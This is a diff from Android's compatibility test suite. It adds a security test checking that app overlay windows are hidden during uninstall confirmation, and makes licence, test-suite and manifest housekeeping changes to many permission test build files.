+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -15,24 +15,38 @@
*/
package android.packageinstaller.uninstall.cts;
+import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
import android.util.Log;
+import android.view.Gravity;
import android.view.KeyEvent;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -85,14 +99,58 @@
}
}
- @Test
- public void testUninstall() throws Exception {
- assertTrue(isInstalled());
-
+ private void startUninstall() {
Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
mContext.startActivity(intent);
+ }
+
+ @SecurityTest
+ @Test
+ public void overlaysAreSuppressedWhenConfirmingUninstall() throws Exception {
+ AppOpsUtils.setOpMode(mContext.getPackageName(), "SYSTEM_ALERT_WINDOW", MODE_ALLOWED);
+
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+ LayoutParams layoutParams = new LayoutParams(MATCH_PARENT, MATCH_PARENT,
+ TYPE_APPLICATION_OVERLAY, 0, TRANSLUCENT);
+ layoutParams.gravity = Gravity.CENTER_HORIZONTAL | Gravity.CENTER_VERTICAL;
+
+ View[] overlay = new View[1];
+ new Handler(Looper.getMainLooper()).post(() -> {
+ overlay[0] = LayoutInflater.from(mContext).inflate(R.layout.overlay_activity,
+ null);
+ windowManager.addView(overlay[0], layoutParams);
+ });
+
+ try {
+ mUiDevice.wait(Until.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")), TIMEOUT_MS);
+
+ startUninstall();
+
+ long start = System.currentTimeMillis();
+ while (System.currentTimeMillis() - start < TIMEOUT_MS) {
+ try {
+ assertNull(mUiDevice.findObject(By.res(mContext.getPackageName(),
+ "overlay_description")));
+ return;
+ } catch (Throwable e) {
+ Thread.sleep(100);
+ }
+ }
+
+ fail();
+ } finally {
+ windowManager.removeView(overlay[0]);
+ }
+ }
+
+ @Test
+ public void testUninstall() throws Exception {
+ assertTrue(isInstalled());
+
+ startUninstall();
if (mUiDevice.wait(Until.findObject(By.text("Do you want to uninstall this app?")),
TIMEOUT_MS) == null) {
diff --git a/tests/tests/packagewatchdog/Android.bp b/tests/tests/packagewatchdog/Android.bp
index 1aaaf7a..d9b0fb5 100644
--- a/tests/tests/packagewatchdog/Android.bp
+++ b/tests/tests/packagewatchdog/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageWatchdogTestCases",
defaults: ["cts_defaults"],
@@ -26,7 +22,7 @@
"cts",
"vts",
"general-tests",
- "mts"
+ "mts-extservices"
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 06b02c6..7c8c56b 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -13,10 +13,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermissionTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index 168a20b..1645e8d 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index ca372c6..9aa6735 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatAccessesLocationOnCommand",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index 12d94af..fdff4ae 100644
--- a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppThatDefinesUndefinedPermissionGroupElement",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index a93a23f..1dec34f 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AppThatDoesNotHaveBgLocationAccess",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
index 872d1e4..f1a436b 100644
--- a/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsAndCallLogPermission16/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsContactsAndCallLogPermission16",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
index 71189b2..f443c41 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission15/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsContactsPermission15",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
index 5642900..3716cd2 100644
--- a/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
+++ b/tests/tests/permission/AppThatRequestContactsPermission16/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsContactsPermission16",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
index ff5df61..9902790 100644
--- a/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationAndBackgroundPermission29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsLocationAndBackgroundPermission29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
index 26e7c7a..c9187eb 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission22/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsLocationPermission22",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
index 6ab35ca..dd5dbc4 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission28/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsLocationPermission28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
index dcfaffe..95b1b76 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsLocationPermission29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
index 2b5f3d8..d21fa19 100644
--- a/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
+++ b/tests/tests/permission/AppThatRequestLocationPermission29v4/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsLocationPermission29v4",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
index 28f337c..1f8a50a 100644
--- a/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
+++ b/tests/tests/permission/AppThatRequestOneTimePermission/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsOneTimePermission",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index 1fd6a27..5e5a1c7 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsPermissionAandB",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index 5c452ba..d6cff70 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsPermissionAandC",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
index 3e27cbe..f791a10 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission28/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsStoragePermission28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
index 745e233..82f29e5 100644
--- a/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
+++ b/tests/tests/permission/AppThatRequestStoragePermission29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRequestsStoragePermission29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
index 251720f..a4e98ce 100644
--- a/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
+++ b/tests/tests/permission/AppThatRunsRationaleTests/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppThatRunsRationaleTests",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
index a4cab1b..9fe607e 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission28/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWithSharedUidThatRequestsLocationPermission28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
index 67fbfd9..366fc75 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestLocationPermission29/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWithSharedUidThatRequestsLocationPermission29",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
index 9f6b2a8..36d164b 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsNoPermissions/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWithSharedUidThatRequestsNoPermissions",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
index 501dcbb..bc6072c 100644
--- a/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
+++ b/tests/tests/permission/AppWithSharedUidThatRequestsPermissions/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWithSharedUidThatRequestsPermissions",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/jni/Android.bp b/tests/tests/permission/jni/Android.bp
index 2bcc068..e3a73e0 100644
--- a/tests/tests/permission/jni/Android.bp
+++ b/tests/tests/permission/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctspermission_jni",
sdk_version: "current",
diff --git a/tests/tests/permission/permissionTestUtilLib/Android.bp b/tests/tests/permission/permissionTestUtilLib/Android.bp
index dd50015..e593998 100644
--- a/tests/tests/permission/permissionTestUtilLib/Android.bp
+++ b/tests/tests/permission/permissionTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "permission-test-util-lib",
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index eea2211..d742ed8 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermissionTestCasesSdk28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index ed34dc8..89ca269 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermissionTestCasesTelephony",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index aaa475e..cfb2836 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAdversarialPermissionDefinerApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 65a1174..6915076 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAdversarialPermissionUserApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index 62533cd..f547c4f 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstallPermissionDefinerApp",
defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index c6dbf5e..44bb7e8 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstallPermissionEscalatorApp",
defaults: ["cts_defaults"],
@@ -24,8 +20,8 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
- "vts10",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
index c339d12..6320618 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorrapp">
+ package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorapp">
<permission
android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index bc88bd3..9cb7c55 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsInstallPermissionUserApp",
defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
new file mode 100644
index 0000000..7a0e405
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.revokepermissionwhenremoved.installtimepermissionuserapp">
+
+ <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission" />
+
+ <application>
+ </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index 22b4ecb..8732641 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRuntimePermissionDefinerApp",
defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey1",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index da03200..79dd52e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsRuntimePermissionUserApp",
defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
certificate: ":cts-testkey2",
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 89284fc..dc10abd 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsVictimPermissionDefinerApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
index 7073057..37b9e94 100644
--- a/tests/tests/permission2/Android.bp
+++ b/tests/tests/permission2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPermission2TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 146bdce..ea9e86e 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLegacyStorageIsolatedWithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index c4bc761..c44004b 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLegacyStorageNotIsolatedWithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index 2373fc1..f3b9994 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLegacyStorageRestrictedSdk28WithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 523f742..b0b486d 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLegacyStorageRestrictedWithSharedUid",
defaults: ["cts_defaults"],
sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 787cbae..ef1e160 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsLocationPermissionsUserSdk22",
defaults: ["cts_defaults"],
